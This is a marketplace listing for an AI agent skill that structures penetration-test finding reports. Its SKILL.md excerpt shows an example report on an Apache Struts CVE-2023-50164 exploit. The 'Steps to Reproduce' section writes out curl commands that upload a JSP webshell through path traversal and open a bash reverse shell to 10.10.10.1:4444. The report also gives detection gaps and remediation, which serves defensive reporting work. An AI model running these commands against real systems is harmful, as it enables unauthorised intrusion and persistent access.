Skip to content
Agentmart
Submit a tool

reporting

Exploitation finding documentation — initial access reports, exploit chain documentation, CVSS v4.0 scoring, shell/credential inventory, detection gap analysis.

Skill by dazeb

IndexedApache-2.0★ 2
Write a review

Chalk Labs

Need help deploying reporting?

Chalk Labs sets up agents like this inside real teams: connected to your tools, tested on your data, with a human in the loop where it matters.

Book a call

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/dazeb-reporting

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

Exploitation finding documentation — initial access reports, exploit chain documentation, CVSS v4.0 scoring, shell/credential inventory, detection gap analysis.

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/reporting

Tools it pre-approves 2

From allowed-tools in SKILL.md: the agent may use these without asking you each time.

  • Read
  • Write

What's inside

Skill name
reporting
Description
Exploitation finding documentation — initial access reports, exploit chain documentation, CVSS v4.0 scoring, shell/credential inventory, detection gap analysis.
License
Apache-2.0
Allowed tools
Read, Write
Metadata
tags: report, exploit, findings, cvss, shells, creds, detection-gap · subdomain: reporting · when_to_use: write finding, document exploit, exploitation report, access achieved, shell obtained, credential found · mitre_attack: TA0001, TA0002
Instructions
451 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# Exploitation Reporting Knowledge Base

Exploitation findings are only operationally useful when documented with enough precision that anyone can reproduce the access, understand the impact, and trace the full attack path. This skill defines how to structure, score, and persist exploitation findings within the Decepticon engagement directory.

## 1. Exploitation Finding Template

Every successful exploitation MUST produce a finding Markdown file in `/workspace/findings/` named `{severity}-{slugified-title}.md`. The `id` field in YAML frontmatter (`FIND-001`, `FIND-002`, ...) is the canonical cross-reference — determine the next ID by counting existing files.

```markdown
---
id: FIND-001
severity: CRITICAL
cvss_score: 9.3
cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
cwe: CWE-78
mitre: T1190
affected_target: 10.0.1.50
affected_component: "Apache Struts 2.5.30 — /struts2/upload.action"
confidence: confirmed
objective_id: OBJ-EXP-001
phase: initial-access
agent: exploit
detected: false
remediation_priority: immediate
discovered_at: "2026-04-06T14:32:00Z"
---

# [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 — Root Shell Achieved

## Description

Apache Struts 2.5.30 is vulnerable to CVE-2023-50164, a file upload path traversal flaw in the `FileUploadInterceptor`. An unauthenticated attacker can manipulate the `Upload-Dir` parameter during a multipart upload request to traverse outside the intended upload directory and write an arbitrary file — including a JSP webshell — to the web root. This achieves unauthenticated remote code execution as the Tomcat service account.

The vulnerability exists because `FileUploadInterceptor` does not canonicalize the destination path before writing, allowing `../` sequences to escape the configured upload directory.

## Steps to Reproduce

```bash
# 1. Confirm the target is running Struts (identified during recon)
curl -s -I http://10.0.1.50:8080/struts2/ | grep -i server

# 2. Generate the malicious multipart upload request
# Upload a JSP webshell to /struts2/../shell.jsp (resolves to web root)
curl -s -X POST http://10.0.1.50:8080/struts2/upload.action \
  -F "Upload=@/tmp/shell.jsp;type=image/jpeg" \
  -F "Upload-Dir=../." \
  -o /workspace/target/findings/evidence/FIND-001_upload_response.txt

# 3. Confirm shell placement
curl -s http://10.0.1.50:8080/shell.jsp?cmd=id \
  -o /workspace/target/findings/evidence/FIND-001_rce_confirm.txt

# 4. Upgrade to reverse shell
curl -s "http://10.0.1.50:8080/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261'" &
nc -lvnp 4444
```

## Proof of Exploitation

```
# whoami output on compromised host
tomcat

# id output
uid=52(tomcat) gid=52(tomcat) groups=52(tomcat)

# hostname
app01.internal.example.com

# uname -a
Linux app01.internal.example.com 5.15.0-1034-aws #38-Ubuntu SMP x86_64 GNU/Linux

# ip addr (abridged)
inet 10.0.1.50/24 brd 10.0.1.255 scope global eth0
inet 10.0.2.1/24 brd 10.0.2.255 scope global eth1
```

## Access Achieved

| Target | Access Level | Method | Credentials Used | Persistence Status |
|--------|-------------|--------|------------------|--------------------|
| 10.0.1.50:8080 (app01) | Remote Code Execution (tomcat) | CVE-2023-50164 — JSP webshell | None (unauthenticated) | Webshell at /shell.jsp |

## Impact

An unauthenticated attacker has OS-level command execution as the `tomcat` service account on `app01.internal.example.com`. The host has dual-network interfaces (10.0.1.0/24 external-facing + 10.0.2.0/24 internal), making it a pivot point into the internal network segment. From this position an attacker can:

- Enumerate and access internal services on 10.0.2.0/24 not reachable externally
- Read application configuration files containing database credentials
- Install a persistent reverse shell or C2 implant
- Escalate privileges via local kernel or sudo misconfigurations

## Evidence

| Type | Path | Description |
|------|------|-------------|
| HTTP response | findings/evidence/FIND-001_upload_response.txt | Server response confirming file write |
| RCE confirmation | findings/evidence/FIND-001_rce_confirm.txt | Output of `id` command via webshell |
| Shell session log | findings/evidence/FIND-001_shell_session.txt | Full interactive shell transcript |
| Payload | findings/evidence/FIND-001_shell.jsp | JSP webshell payload used |

## Detection Gap Analysis

| Control | Status | Notes |
|---------|--------|-------|
| WAF | Not triggered | Multipart upload traffic not inspected |
| IDS/IPS | Not triggered | No signature match for Struts exploit pattern |
| EDR | Not triggered | Tomcat process spawning child processes not alerted |
| SIEM | No alert | No rule for unexpected JSP file creation in web root |
| File integrity monitoring | Not detected | Web root not monitored for new .jsp files |

Exploitation was not detected. The upload blended with normal application traffic. The JSP webshell at `/shell.jsp` remained accessible for the duration of testing with no automated response.

## Remediation

1. **Patch immediately**: Upgrade Apache Struts to 2.5.33 or 6.3.0.2+ (fix for CVE-2023-50164)
2. **Restrict file uploads**: Validate and canonicalize upload paths server-side; reject `../` sequences
3. **Limit web root writability**: Run Tomcat with a read-only web root; use a separate upload directory outside the document root
4. **Deploy WAF rule**: Block multipart uploads containing path traversal sequences in field values

From dazeb/botron, Apache-2.0.

More from dazeb/botron

Signals

Stars
2
Forks
0
Open issues
0
Last commit (this folder)
Apr 28, 2026 (6 months ago)

From GitHub (fetched Oct 24, 2026).

Details

License
Apache-2.0
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

Same skill elsewhere

Copies of this SKILL.md published by others; search shows only one of them.

More from dazeb

Done for you

Rather not set it up yourself?

Chalk Labs scopes, builds and runs agents for your team: the task audit, the eval harness, the integrations and the weekly ops report. Fixed scope, priced before we start.

See how we build AI agents →Read the case studies

Chalk Labs is a two-founder AI and growth studio. We build AI agents, CRMs and MVPs for Web3 and AI companies, and have shipped 50+ product and token launches.

launches shipped
50+
launches shipped
media placements
500+
media placements
founders on every account
2
founders on every account

Press we've placed: Forbes · CoinDesk · Decrypt · Cointelegraph · The Block

Rahil Jain, Co-founder, Chalk Labs. Ex-Goldman Sachs engineer. You talk to the person who builds it.

Get reporting running in your business

Tell us what you want to automate. A founder replies within one working day with a plan, not a pitch deck.

Goes to the Chalk Labs founders, not the newsletter. Privacy

Need help deploying reporting?

CallGet help
Cite this page

reporting skill. Agent Mart. https://agentmart.dev/skills/dazeb-reporting (last updated 2026-10-24)